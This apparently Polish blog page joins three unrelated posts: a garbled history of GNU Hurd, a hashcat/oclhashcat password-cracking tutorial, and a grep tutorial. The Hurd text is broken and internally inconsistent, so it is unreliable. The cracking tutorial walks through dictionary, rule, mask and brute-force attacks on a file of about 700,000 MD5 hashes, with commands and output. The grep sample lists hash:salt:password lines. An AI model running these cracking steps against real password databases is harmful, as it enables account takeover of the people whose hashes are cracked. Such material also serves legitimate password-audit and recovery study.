Richard Stallman zapoczątkował GNU w 1983 jako projekt kompletnie wolnego (od “wolności”) systemu operacyjnego. Wolność ta polegała na jawnym kodzie źródłowym, prawie użytkownika to ingerowanie w działanie programu także możliwość modyfikacji kodu źródłowego. Wspomniał, że będzie to prymitywne jądro. Podczas pierwszej konferencji GNU w lutym 1986 powiedział, że kernel będzie się nazywał TRIX, będzie rozwijany przez Instytu Technologii w Massachusetts. W grudniu 1986 FSF ujawniono “zaczęto prace potrzebne do zmiany TRIXa“, Niewiele potem, FSF “negocjujemy z Profesorem Rashid o rozwoju Mach’a“. W krótkim czasie FSF szukano więcej osób, które byłby w stanie wspomóc rozwój TRIX’a.

Następnym krokiem rozwoju było wprowadzanie nowego systemu plików:
-RMS: “częściowo zastąpimy system Berkley Unix”
Sześć miesięcy później FSF: “jeśli nie przerobimy Mach’a, użyjemy TRIXa lub BS“. Zaprezentować też wtedy gotowego kernela i system plików.

W styczniu 1990 powiedzieli “nie robimy żadnego kernela. Bezsensem jest zaczynanie teraz nowego jadra, powierzamy nadzieją w używaniu Macha.”

Nic nie zapowiada;o się do 1991, kiedy to opublikowano bardziej szczegółowy plan:

Wciąż jesteśmy zainteresowani wielowątkowością kernela działającego pod Mach. Prawnicy CMU właśnie decydują czy możemy wydać Macha jako dystrybucje. Jeśli się zdecydujemy żeby to zrobić, to prawdopodobnie zaczniemy pracować. CMU ma dostępne te same warunki co Mach – jednoklastrowy serwer oparty na Unix Emulator nazwany Poe, to jest raczej powolne i dostarcza minimalnej funkcjonalności. Moglibyśmy prawdopodobnie zacząć rozwijać Poe żeby dostarczać wszystkie funkcje. Później mamy nadzieje, żeby miał wieloprocesowy emulator procesów.

Pomysł użycia L4 jako microkernela dla Hurd’a został podany przez Okuji Yoshinori w społeczności Hurd, którego celem było stworzenie L4-Hurd. Obecnie rozwój L4-Hurd zatrzymał się, jednak Neal Walfield przeniósł prace nad nowo zaprojektowanego kernela nazwanego viengoos.
Rok później było mnóstwo dyskusji nad L4-Hurd na listach mailowych, które do dzisiaj są miejscami gdzie dyskutuje się o Hurdzie.”

Rozwój L4-Hurd zakończył się gdy Hurd był zawarty w repozytorium HURD CVS. L4 był microkernelem drugiej generacji, uznano by zawierał on paczki szybszego kernela, szczególnie że były to czasy krytycznych paczek IPC. Także L4 został przygotowany dla kilku architektur. Starano się by Hurd wspierał jak najwięcej platform, niż istniejące systemy.“.
Wzór chudego L4 był nadal aktualny, gdyby nie rosnąca liczba sterowników.

Projekt GNU został zapoczątkowany w 1984 roku w celu stworzenia kompletnego, podobnego do Unix-a systemu operacyjnego, będącego wolnym oprogramowaniem: systemu GNU. Nazwa GNU to rekurencyjny akronim zdania „GNU’s Not Unix” – „GNU to Nie Unix”. Obecnie szeroko wykorzystywane są różne odmiany systemu operacyjnego GNU używające jądra Linuksa. Mimo że o systemach tych często mówi się „Linux”, bardziej precyzyjnie nazywane są systemami GNU/Linux.

Słowo „free” w określeniu „free software” odnosi się do wolności, nie ceny. Można zapłacić za oprogramowanie GNU lub nie. Tak czy inaczej, oprogramowanie to wiąże się z trzema szczególnymi aspektami wolności. Pierwszy polega na tym, że mamy swobodę kopiowania, możemy je rozdawać przyjaciołom i współpracownikom. Drugi polega na tym, że mamy swobodę zmieniania programu według własnych upodobań dzięki pełnemu dostępowi do kodu źródłowego. Trzeci zaś to swoboda dystrybucji ulepszonych wersji, dzięki czemu pomaga się tworzyć wspólnotę. (Jeśli dystrybuuje się oprogramowanie GNU, można pobierać opłaty za akt fizycznego przekazania; można też je rozdawać za darmo.)

Jakie są ograniczenia wolnego oprogramowania? Nie ma żadnych ograniczeń, oprócz tych, które tworzy prawo, np. system patentowy, który całkowicie blokuje rozwój wolnego oprogramowania. Ostatecznym cel zostanie osiągnięty wtedy, kiedy wolne oprogramowanie będzie spełniało wszystkie zadania, o których pomyśli użytkownik — w ten sposób oprogramowanie prawnie zastrzeżone stanie się przestarzałe.

Oczywiście zgodnie z głoszoną ideą GNU kod źródłowy programu, czy całego systemu operacyjnego jest jawny.
Do GNU/HURD źródło znajdziemy pod tym linkiem.

 

Coś o systemie


Jądro systemu operacyjnego stanowi ramy dla programów do udostępniania zasobów sprzętowych komputera bezpiecznie i wydajnie. Takie ramy zawierają mechanizmy dla programów by komunikowały się bezpiecznie, nawet jeśli ze sobą kolidują.

GNU/Hurd przełamali zasady pracy tradycyjnego jądra, implementowanego w odrębnych programach. Hurd formalnie definiuje komunikacje protokołów, którymi porozumiewa sią z serwerami, więc jest możliwe dla innych serwerów zawarcie porozumienia tymi samymi stosami protokołów, dla przykładu: NFS i FPT ą w tej samej warstwie stosu TCP/IP. NFS, FTP i TCP/IP są oddzielone przestrzenią programów użytkownika.

Biblioteka GNU C (glibc) przewiduje środowisko POSIX dla Hurd’a przez tłumaczenia standardowych wywołań systemowych z odpowiednika HURD.

HURD zawiera POSIX standard dla Portable Operating System Interface (przenośny interfejs systemu operacyjnego gwarantujący powłokę systemu, interfejs programistyczny interfejsy użytkownika). Słyszeliśmy wiele o terminie POSIX jako o normach ustanawianych przez IEEE. Systemy Unixo-podobne mają być z tym zgodne lub częściowo zgodne. GNU/Hurd jest zgodny z wszystkimi systemami Unixo-podobnymi. Dlatego przeportowane aplikacje są dostępne pod GNU/Hurd. Jednak proszę pamiętać “GNU is not Unix”, GNU/Hurd jest raczej zgodny z POSIX, jednak wciąż rosną adresacje Hurda do grupy systemów Unixo-podobnych.


Komu Hurd?

Na początek notka dla młodszych użytkowników: jeśli nie uważasz się za znawcę komputerowego, definitywnie nie będziesz chciał używać Hurda. Nie ma jeszcze oficjalnej wersji Hurda, więc system wciąż nie jest stabilny. Jeśli uruchomisz Hurda – napotkasz wiele błędów. Dla ludzi, którzy używają komputerów do surfowania w sieci, przekazywania e-maili, pisania itp. i chcą po prostu maszyny do pracy, błędy Hurda będą bardzo denerwujące.

Dla takich ludzi, lepszy będzie system w wersji stabilnej. Niestety, obecnie system GNU w stabilnym stanie z Linuxem zastępują Hurda jako jądro, więc dla zaawansowanych użytkowników jest możliwe używanie potężnego, stabilnego i darmowego Unixopodobnego systemu. Debian GNU/Linux wysokiej jakości dystrybucja jest dostępna, sumując: wiele spółek handlowych sprzedają pakowane dystrybucja GNU/Linux z wydrukowaną ich dokumentacją o różnym stopniu szczegółowości ich opisu przystosowane dla wielu użytkowników. Należy pamiętać, że GNU/Hurd nie jest systemem do surfowania, wymiany e-maili, pisania tekstów i innych podobnych zadań. To jest system, który będzie używany do tych zadań w przyszłości.

Jeśli uważasz się za geeka ale nie programistę, możesz wciąż rozważać używanie GNU/Hurd. Zadania dla nie-programistów obejmują prowadzenie do GNU/Hurd systemów i testowanie ich do pojawienie się błędu, pisanie dokumentacji także tłumaczenie istniejących dokumentacji do innych języków. Obecnie znaczna większość dokumentacji jest dostępna tylko po angielsku i francusku.

Każdy kto może być zainteresowany Hurdem: student badający system, programista pomagający rozwijać serwery Hurda, inni użytkownicy szukający błędów czy piszący dokumentację, będąc zainteresowanym jak GNU/Hurd jest podobny i czym różni się od innych systemów z rodziny Unix.

Dla wszystkich zainteresowanych i wytrwałych: Hurd jest nowoczesnym systemem Unixopodobnym, jak Linux i BSD. GNU/Hurd używa bibliotek GNU C, które są rozwijane blisko standardów jakich jak ANSI/ISO, BSD, POSIX, SU, SVID i X/Open. W ten sposób większość programów dostępne są dla GNU/Linux, a paczki BSD mogą zostać przeportowane by działały podn GNU/Hurd.

Korzyści płynące z wszystkich tych systemów – GNU/Hurd, GNU/Linux i BSD: nie są podobne do wielu popularnych systemów operacyjnych np. darmowe oprogramowanie.

Każdy może używać i dystrybuować te systemy pod prawem obowiązującym w GNU GPL w przypadku GNU/Hurd i GNU/Linux i BSD w przypadku systemów *BSD. W fakcie, GNU system jest całkowicie Unixopodobny, system jest na licencji GNU GPL.

Chociaż jest podobny do innych darmowych Unixopodobnych projektów, Hurd ma zadatki na najlepszy tego typu system. W odróżnieniu od innych projektów, Hurd ma zorientowaną obiektowo strukturę, która pozwala ewoluować bez kompromisu w projekcie. Taka struktura będzie pomagała

Hurdowi podlegać głównym zmianom konstrukcyjnym i modyfikacjom bez ponownego przepisania całego kodu. Taka elastyczność czyni Hurda atrakcyjna platformą do nauki jak stać się hackerem czy jak zawierać nowe pomysły w technologii, jak każda część systemy jest zaprojektowana do modyfikacji i rozbudowy. Dla przykładu: system plików MS-DOS FAT nie był wspierany przez GNU/Hurd dopóki deweloper napisał translator, który pozwalał na dostęp do takiej partycji. W standardzie systemy Unixopodobne mają środowisko programistyczne, jak w przyszłości może być ono wbudowane w jądro. W GNU/Hurd jest to zrobione w inny sposób i dzięki temu rekompilowanie jądra nie jest konieczne, odtąd gdy system plików jest zawarty jako program w przestrzeni użytkownika.

Skalowalność została tradycyjnie zrobiona w bardzo odmienny sposób by osiągnąć miano systemu rodziny Unix. Wiele aplikacji wymaga wsparcia dla przetwarzania symetrycznego (SMP). Implementacja Hurda jest nastawiona na wieloprocesorowość, więc działa na komputerach jedno i wielu rdzeniowych. Interfejs Hurda został zaprojektowany by zezwalał na przezroczystość warstw, jednak ten moduł nie został jeszcze zaimplementowany (2009).

Oczywiście Hurd ma obecnie ograniczenia. Wiele z nich jest spowodowane przez jądro systemu – GNU Mach. Dla przykładu choć Hurd ma zadatki na bycie świetną platformą SMP, nie jest to obecnie GNU możliwe, od kiedy GNU Mach nie jest wspierany w kierunku SMP. Hurd ma wsparcie mniejsze niż inne Linuxy dla hardwaru, ponieważ GNU Mach używa sterowników hardwaru zawartych w Linux kernel wersjii 2.0. Ostatecznie, GNU Mach jest bardzo wolnym jądrem i przyczynia się do ogólnego spowolnienia systemów GNU/Hurd.

Mach jest znany jako microkernel pierwszej generacji, mnóstwo pracy zostało włożone do ulepszenia go do drugiej generacji, mikrokernel jest obecnie wciąż rozwijany. Długoterminowym zadaniem jest przeportowanie Hurda do L4, bardzo szybkiego jądra drugiej generacji. W krótkim terminie deweloperzy Hurda planują przenieść go do OSKit Mach, ulepszona wersja Macha będąca rozwijana na Uniwersytecie Utah.

Hurd jest wciąż rozwijany, lecz nie pojawiła się jeszcze stabilna wersja. To znaczy, że źródło Hurda jest o wiele mniej dojrzałe niż te w Linux czy BSD. Są bugi w systemie, które wciąż są nieznalezione czy nie naprawione.. Także, wiele cech jakich jest kilent DHCP, wsparcie dla kilkunastu systemów plików jest wciąż rozwijane.

Braki w Hurdzie są bezustannie poszukiwane, dla przykładu: ostatnio znaleziony został znaleziony brak wątku POSIX. To znaczy, że kilkanaście głównych aplikacji, włączając GNOME, KDE i Mozille nie mogły działać pod GNU/Hurd. Teraz Hurd ma wstępnie zaimplementowany ten wątek, dzięki czemu możemy wkrótce zobaczyć te aplikacje działające na systemach GNU/Hurd.

Hurd jest bardzo nowoczesny. Jest nowocześniejszy niż Linux lub *BSD, ponieważ używa microkernela zamiast jądra monolitycznego. Jest także nowocześniejszy niż Darwin Appl’a czy NT Microsoftu, od kiedy ma wielostanowiskowy projekt, w przeciwieństwie do jednostanowiskowych Darwina czy NT. To czyni Hurda idealną platformą dla studentów zafascynowanych systemami operacyjnymi, od kiedy wygląd bliżej przypomina rekomendacje obecnej teorii systemów operacyjnych.

 

GNU/Hurd jest także wyśmienitym systemem na programistów. Podczas gdy Linux i BSD są stabilne, jest mnóstwo pracy do wykonania by Hurd stał się stabilnym systemem.

Przykład:

GNU/Hurd oferuje możliwość stworzenia ważnych zasług dla systemu ponieważ jest w stosunkowo wczesnym stadium rozwoju.

W ostatnim czasie udało się uruchomić GNOME na systemie GNU HURD, co jest dużym osiągnięciem jak na ten system.

Metodyka odzyskiwania haseł

Do tworzenia tego artykułu będę posługiwał się dwoma programami (hashcat i oclhashcat), dwoma gdyż oclhashcat+ i oclhashcat-lite uznajemy jako pakiet oclhashcat. Możliwości tych programów zostały opisane już w temacie “Jak łamać hashe?”, więc nie będę tego przypominał, teraz posługiwać będziemy się tylko trybem tekstowym (u mnie konsola linux).

Zacznijmy od pokazania jakie opcje posiada:

hashcat:

agilob@Asus-PC:~/Tools/hashcat$ ./hashcat-cli64.bin -h
hashcat, advanced password recoveryUsage: ./hashcat-cli64.bin [options] hashfile [wordfiles|directories]
Startup:
-V, --version print version
-h, --help print help
--eula print eula
Logging and Files:
--remove enable remove of hash from hashlist once it is cracked
-r, --rules-file=FILE rules-file for hybrid-attack
-o, --output-file=FILE output-file for recovered hashes
--output-format=NUM 0 = hash:pass
1 = hash:hex_pass
2 = hash:pass:hex_pass
-e, --salt-file=FILE salts-file for unsalted hashlists
--debug-file=FILE debug-file
--debug-mode=NUM 1 = save finding rule (hybrid only)
2 = save original word (hybrid only)
3 = save mutated word (hybrid and attack mode 5 only)
-p, --seperator-char=CHAR seperator-char for hashlists
Resources:
-n, --threads=NUM number of threads
-c, --segment-size=NUM number of mb to cache from wordfile
-s, --words-skip=NUM skip number of words (for resume)
-l, --words-limit=NUM limit number of words (for distributed)
Attacks:
-g, --generate-rules=NUM number of self-generating rules
--generate-rules-func-min=NUM force number of functions per rule min
--generate-rules-func-max=NUM force number of functions per rule max
-a, --attack-mode=NUM number of attack-mode
0 = Straight *
1 = Combination *
2 = Toggle-Case
3 = Brute-Force
4 = Permutation
5 = Table-Lookup
* = for Hybrid-Attack use -r or -g
-m, --hash-mode=NUM number of hash-mode
0 = MD5 200 = MySQL
1 = md5($pass.$salt) 300 = MySQL4.1/MySQL5
2 = md5($salt.$pass) 400 = MD5(Wordpress)
3 = md5(md5($pass)) 400 = MD5(phpBB3)
4 = md5(md5(md5($pass))) 500 = MD5(Unix)
5 = md5(md5($pass).$salt) 600 = SHA-1(Base64)
6 = md5(md5($salt).$pass) 700 = SSHA-1(Base64)
7 = md5($salt.md5($pass)) 800 = SHA-1(Django)
8 = md5($salt.$pass.$salt) 900 = MD4
9 = md5(md5($salt).md5($pass)) 1000 = NTLM
10 = md5(md5($pass).md5($salt)) 1100 = Domain Cached Credentials
11 = md5($salt.md5($salt.$pass)) 1200 = MD5(Chap)
12 = md5($salt.md5($pass.$salt)) 1300 = MSSQL
30 = md5($username.0.$pass)
31 = md5(strtoupper(md5($pass)))
100 = SHA1 1400 = SHA256
101 = sha1($pass.$salt) 1600 = MD5(APR)
102 = sha1($salt.$pass) 1700 = SHA512
103 = sha1(sha1($pass)) 1800 = SHA-512(Unix)
104 = sha1(sha1(sha1($pass)))
105 = sha1(strtolower($username).$pass)
Toggle-Case specific:
--toggle-min=NUM number of alphas in plain minimum
--toggle-max=NUM number of alphas in plain maximum
Brute-Force specific:
--bf-pw-min=NUM password length minimum
--bf-pw-max=NUM password length maximum
--bf-cs-buf=CHARS charset for attack
Permutation specific:
--perm-min=NUM number of chars in plain minimum
--perm-max=NUM number of chars in plain maximum
Table-Lookup specific:
--table-min=NUM number of chars in plain minimum
--table-max=NUM number of chars in plain maximum
--table-file=FILE table file

Jak widać stek bzdur… spora ilość obsługiwanych hashy rzuca się w oczy.

oclhashcat:

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin -h
oclHashcat, advanced password recoveryUsage: ./oclhashcat64.bin [options] hashlist dict_left|mask_left dict_right|mask_right
Startup:
-V, --version print version
-h, --help print help
--eula print eula
Logging and Files:
--quiet enable quiet
--remove enable remove of hash from hashlist once it is cracked
-o, --output-file=FILE output-file for recovered hashes
--output-format=NUM 0 = hash:pass
1 = hash:hex_pass
2 = hash:pass:hex_pass
-e, --salt-file=FILE salts-file for unsalted hashlists
Resources:
-d, --gpu-devices=STR CUDA devices to use, seperate with comma
-n, --gpu-accel=NUM workload tuning: choose 1, 8, 40, 80 or 160
scales best if you choose the number of SP per SM
--gpu-loops=NUM workload fine-tuning if -n is not precise enough
Built-in charsets:
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !"#$%&amp;'()*+,-./:;&lt;=&gt;?@[]^_`{|}~
?h = ISO-8859 characters from 0xc0 - 0xff
Custom charsets:
-1, --custom-charset1=CS user-definable charsets
-2, --custom-charset2=CS example:
-3, --custom-charset3=CS --custom-charset1=?dabcdef
-4, --custom-charset4=CS sets charset ?1 to 0123456789abcdef
Attack options:
--increment enable increment mode
-j, --rule-left=RULE rule applied to each word from left dict
-k, --rule-right=RULE rule applied to each word from right dict
Attack modes:
-m, --hash-mode=NUM number of hash-mode
0 = MD5 200 = MySQL
1 = md5($pass.$salt) 300 = MySQL4.1/MySQL5
2 = md5($salt.$pass) 900 = MD4
3 = md5(md5($pass)) 1000 = NTLM
5 = md5(md5($pass).$salt) 1100 = Domain Cached Credentials
100 = SHA1
101 = sha1($pass.$salt)
102 = sha1($salt.$pass)

1.

Po pierwsze musisz mieć jakiś słownik. Byle jaki, żeby miał tylko koło 100MB, później będziesz go poszerzał przy okazji odzyskania nowych haseł (też metodą brute-force).

Do pokazu używali będziemy pliku przykladowabaza.txt ktory zawiera kilkaset tysięcy hashy md5.

Moje ulubione opcje hashcata to:

-g n | która sporządza n reguł według których tworzy kolejne hasła z podanego słownika, czyli jeśli w słowniku jest wyraz “kot” opcja stworzyć może wyraz “Kot”, “Kot1”, “kot1”, “koT”, “kot1234”, “kot!” itp. Używane tylko przy słownikowym ataku.

-a 4 | opcja ta łączy słowniki, każdy wyraz z pierwszego słownika z każdym z wyrazów z drugiego słownika.

-a 5 | opcja ta działa podobnie do tego z regułami, używa jednak odpowiednich reguł, zapisanych w pliku, wg nich mutuje wyrazy odczytane ze słownika. Wymaga pliku z “tablicami zamian”.

–remove | po co trzymać w pliku z hashami odzyskane hasło? Opcja usuwa taki hash.

-o plik.txt | chyba każdy rozumie

2.

Pokaz.

Jak widać poniżej plik przykladowabaza.txt zawiera 704993 hashy:

agilob@Asus-PC:~/Tools/hashcat$ wc -w przykladowabaza.txt
704993 przykladowabaza.txt

Sprawdzimy jaki będziemy wynik pod koniec odzyskiwania.

Najpierw usuń hasła słownikowe z pliku, żeby później bruteforce szybciej działał.

agilob@Asus-PC:~/Tools/hashcat$ ./hashcat-cli64.bin przykladowabaza.txt –remove -o odzyskane.txt slowniki/1.txt

Ja tej komendy teraz nie wykonam ze względu na zbyt duże słowniki, odzyskałem przypadkiem 72% bazy co mija się z celem pokazania innych metod ;)

3.

Brute-force przez GPU.

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin przykladowabaza.txt --remove -o odzyskane.txt -1 ?d?s?l ?1?1?1?1 ?1?1?1 --increment
oclHashcat v0.25 starting...
<p>Powyższy zapis oznacza tyle co:</p>
<p>z pliku przykladowabaza.txt bierz hashe, odzyskane wrzucaj do odzyskane.txt, szukaj haseł do długości 7znaków zbudowanych z:</p>
<p><em>?d</em> - cyfr</p>
<p><em>?l</em> - małych liter</p>
<p><em>?s</em> - znaków specjalnych</p>
<p>Twórz wszystkie możliwe permutacje.</p>
Status....: Running
Mode.Left.: Mask '?1?1?1?1' (22667121)
Mode.Right: Mask '?1?1' (4761)
Speed.GPU*: 148.5M/s
Recovered.: 35640/622478 Digests, 0/1 Salts
Progress..: 98266060800/107918163081 (91.06%)
Running...: 8 mins, 0 secs
Estimated.: 1 min, 5 secs

Jak widać samych 5 i 6 znakowych haseł odzyskało dość dużo, na koniec 7znakowych nie czekałem, przerwałem wykonywanie programu ze względu na czas.

4.

Moja ulubiona opcja:

-g 1000 | stworzy dla każdego słowa ze słownika 1000 kombinacji innych wyrazów, powstałych na bazie tego słownikowego.

Do boju!

agilob@Asus-PC:~/Tools/hashcat$ ./hashcat-cli64.bin przykladowabaza.txt --remove -o odzyskane.txt slowniki/2 -g 1000
Initializing with 8 threads and 32mb segment-size...
NOTE: press enter for status-screen
Added hashes from file przykladowabaza.txt: 579327 (1 salts)
Added rules from rule-generator: 1000
Wordlist..: slowniki/2
Index.....: 1/67 (segment), 3032520 (words), 33550346 (bytes)
Recovered.: <strong>44392</strong>/577638 hashes, 0/1 salts
Speed/sec.: 23.81M plains, 23.81k words
Progress..: 478592/3032520 (15.78%)
Running...: 00:00:00:20
Estimated.: 00:00:01:47

Opcja warta odczekania i po zakończeniu powtórzenia, o ile odzyskane hasła, doda się do słownika, co go bardzo wzmocni.

5.

(nie)słownikowe hasła.

spora ilość ludzi tworzy hasła typu:

misio1992

czy

asia1234

jak łatwo odzyskać jakie hasła?

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin przykladowabaza.txt -o odzyskane.txt –remove slowniki/1.txt ?d?d?d?d
oclHashcat v0.25 starting…

polecenie to dopisze do każdego wyrazu ze słownika ?d?d?d?d

gdzie

?d to dowolna cyfra

czyli z każdego wyrazu stworzy 10 000 kombinacji dodając na koniec wyrazu 4 cyfry. Odzyskasz dzięki temu hasła, które na końcu mają jakiś rok czy są celowo przedłużane by “wzmocnić hasło”.

Czasochłonna, jednak warta tego metoda, to samo należy zrobić z poleceniem, ale dodając po słowniku, jak i przed słownikiem!

?d?d?d

?d?d

?d

I tutaj już tylko 1,2,3 znakowe końcówki.

-1 ?l?s

?1?1?1

?1?1

?1

Czyli razem 13 poleceń dla oclhashcat’a.

6.

Rules and tables:

Mój plik rules dla hashcata, tak bardzo obszerny, jak ktoś lubi mieć ciepło w pokoju to tym można zastąpić oclhashcata.

rule

Plik z tables, do opcji -a 5

table

7.

oclhashcat ostateczny brute-force.

Skoro słownik już dokładnie przeczesany, haseł zostało mało do odzyskania, to pora na ostateczny brute-force, czyli szukanie najdziwniejszych haseł, które da się odzyskać na szybko brute-forcem.

Polega to na niczym innym jak na brute-force z nietypowymi dla haseł znakami, np. polskie litery.

W oclhashcat dostępne pod wyrażeniem ?h.

agilob@Asus-PC:~/Tools/hashcat$ ./oclhashcat64.bin przykladowabaza.txt –remove -o odzyskane.txt -1 ?d?s?h?l ?1?1?1 ?1?1?1 –increment
oclHashcat v0.25 starting…

Grep: how to do

Narzędzie do wyświetlania wyrazów z plików, standardowego wyjścia w liniach; szukanego wyrazu, wyrażenia, całej linijki, wyniku działania innego programu to GREP.

W tym artykule string ‘wyraz’ będzie oznaczał słowo, które jest poszukiwane przez grep’a.

Narzędzie zostało wyposażone w niżej przedstawione opcje filtrowania:

  1. -E
      traktuje wyraz jako rozszerzone wyrażenie regularne

    -F

      traktuje wyraz jako listę stałych, oddzielonych od siebie nowymi liniami wyrazów

    -G

      po prostu szuka danego wyrazu (jest to opcja domyślna)

    -P

      jest to eksperymentalna opcja, traktuje wyraz jako wyrażenie z Perl’a

    -e

      służy do zabezpieczenia się by wyszukiwany zwrot zaczynał się od wyrazu, zabezpieczamy się przez -. (np. grep -e -.adam plik)

    -f

      określamy tutaj jaki plik przeszukiwać, linijka po linijce

    -i

      ignoruje wielkości liter (dla zwrotu adam, będzie szukało aDam, ADAM, aDaM)

    -v

      zwróci wszystkie linie, które

nie pasują

    do wyrazu

-w

    wybiera tylko te linie, które zawierają linijki, w których wyraz nie znajduje się obok innej litery (znajdzie adam , adam@1, +adam, 123adam; nie znajdzie adamek, adamski)

-x

    pokaż tylko te zwroty, które idealnie pasują do wyrazu

-y

    to co

-i

    (-y jest wersją prehistoryczną)

-c

    proszę policzyć ile linijek pasuje do wyrazu

-m n

    skończ szukanie gdy znajdziesz

n

    linii zawierających wyraz (użycie, np.: -m 0)

-o

    pokazuje część lini, która pasuje do wyrazu/wzorca (do używania z wyrażeniami regularnymi)

-q

    nie rób nic, nic nie wyświetlaj ta opcja chyba dla podpuchy jest dodana, można to też czytać jako: “pokaż mi co jest w /dev/null”

-s

    wyświetl wiadomość, jeśli plik nie istnieje lub jest nie możliwy do przeszukania

-H wyświetl nazwę pliku, który jest przeszukiwany przy linijce, domyśle przy przeszukiwaniu kilku plików-h nie wyświetlaj nazwy pliku przy linijce-n podaj numer linii, w której znaleziono wyraz-T przed wyświetlanym zwrotem wyświetla Tab-Z przy wyświetlaniu :zwrot po nazwie przeszukiwanego pliku wstaw znak ASCII NUL-A n pokaż kolejne n linijek po każdym znalezionym zwrocie-B n to co wyżej tylko linijki przed znalezionym zwrotem-C n połączenie -A -B-a przeszukaj plik binarny tak jakby tam był tekst (wyjaśnienie: otworzyłeś kiedyś zdjęcie albo archiwum notatnikiem?)-d jeśli grep ma szukać w ścieżce to powiedz mu jak ma szukać; recurse – przeszuka wszystkie pliki w katalogu, read – traktuje ścieżkę jakby była zwykłym plikiem

 

Ufff.. już przebrnęliśmy przez wylistowanie większości opcji programu, można zabrać się za filtrowanie zawartości pliku/plików.

Zacznijmy więc praktykować, trzeba ustalić jaką zawartość ma plik.

admin
adminek
AdMiNE
administrator
ehn8le
chikee
adammax
chris
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
mmci0128
d781b395
1225521
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
111111
22222
3333
444
55
6
harahiro
sell3r
kosmos
montag123
hugohugo
cuma#
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

Co widzimy w zawartości pliku? 3 odmiany słowa administrator, 5 razy pojawił się schemat md5:salt:passwd, kilka losowych wyrazów, i taki asterix malejący poskładany z cyfr.

Zajmiemy się filtrowaniem tego pliku, u mnie nazywa się on grepa, by odzyskiwać określone linijki.

Najpierw uzyskamy odmiany wyrazu admin, potem sam wyraz ‘admin’.

Przypomnę byś nie musiał przewijać ekranu żeby sprawdzić, której opcji używać.

agilobable@ASUS-PC:~$ grep admin grepa
admin
adminek
administrator

Teraz przefiltrujmy to samo, ale z opcją -i, która nakazuje nie patrzeć na wielkość liter:

agilobable@ASUS-PC:~$ grep -i admin grepa
admin
adminek
AdMiNE
administrator

No, wszystko działa jak dotąd. Teraz uzyskajmy tylko wyraz ‘admin’. Służy do tego opcja -x

agilobable@ASUS-PC:~$ grep -x admin grepa
admin

Zgadnij po wyniku do czego jest opcja -v:

agilobable@ASUS-PC:~$ grep -v admin grepa
AdMiNE
ehn8le
chikee
adammax
chris
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
mmci0128
d781b395
1225521
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
111111
22222
3333
444
55
6
harahiro
sell3r
kosmos
montag123
hugohugo
cuma#
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

Znak . (kropki) jest równoznaczny z każdym innym znakiem ASCII:

agilobable@ASUS-PC:~$ grep -i ......... grepa
administrator
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
montag123
hoenrules
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

No dobrze, skoro takie podstawy są opanowane, można zacząć działać na czymś trudniejszym

Czym są wyrażenia regularne? Nie o tym jest ten artykuł :P
Po prostu będziemy ich używać.
Wytłumaczę tylko czym są zakresy. Otóż zakresem jest jakaśtam ilość znaków z tablicy ASCII, między pierwszym podanym znakiem, a drugim, w grepie zakres liter od ‘a’ do ‘g’ zapisuje się
“[a-g]”

agilobable@ASUS-PC:~$ grep "[t-z]" grepa
administrator
adammax
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
montag123
hugohugo
cuma#
hoenrules

Wykonanie powyższego polecenia ma wyświetlić słowa, które zawierają w sobie jakąkolwiek literę od ‘t’ do ‘z’. Co się udało.

Wyrażenia regularne można ze sobą łączyć, co jest ich największą zaletą, odfiltrujemy teraz linijki, w których są hashe md5:

agilobable@ASUS-PC:~$ grep "[a-f0-9]{32}" grepa
8331d0969f7abe954525f411f5232c86:51:sebek072
8e354e0a1f564e3561079cc76d38d624:44:artek1422
397c9a422b46817c89ebc7ffbf7dcb38:f2:tofik997
19d3150d8a91721606d556c986996ff5:46:jolek561
ffd044ac8866293aae573855e87da8b3:07:sebek123

Powyższe polecenie ma za zadanie wyświetlić ciągi znakowe, w których występują znaki od ‘a’ do ‘f’ oraz od zera do dziewięciu, przy czym w ciągu ma znajdować się ten zakres 32 razy (liczba w nawiasie klamrowym określa ilość powtórzeń zakresu, 32 to długość hashu md5())

To samo można otrzymać gdy liczbę w nawiasie klamrowym zmniejszymy do no choćby 16.

Innymi metaznakami wyrażeń regularnych są:

[[:alnum:]] = [A-Za-z0-9][[:alpha:]] = [A-Za-z][[:digit:]] = [0-9][[:lower:]] = [a-z][[:upper:]] = [A-Z][[:xdigit:]] = Cyfry szesnastkowe, czyli to czym filtrowaliśmy poprzednio md5 [a-f0-9)][[:print:]] = znaki widzialne na wydruku

Teraz zademonstruję metody, którymi można uzyskać hashe md5 na różne sposoby:

grep "[[:print:]]{32}" -o grepa
grep "[[:xdigit:]]{32}" -o grepa
grep "[a-f0-9]{32}" -o grepa

Liczby wstawiane w nawias nie przypadkowo mają takie ustawienie:

{n} = n-razy powtórz zakresy{n,} = powtórz zakresy więcej niż n-razy{,m} = powtórz zakresy maksymalnie m-razy{n,m} = powtórz zakresy od n do m-razy

Odfiltrujmy więc linie, w których są tylko liczby i na tym zakończę temat wyrażeń regularnych:

agilobable@ASUS-PC:~$ grep -v "[[:alpha:]]" grepa
1225521
111111
22222
3333
444
55
6

lub

agilobable@ASUS-PC:~$ grep "[[:digit:]]{1,}" -ox grepa

 

Filtrowanie działania innego programu.

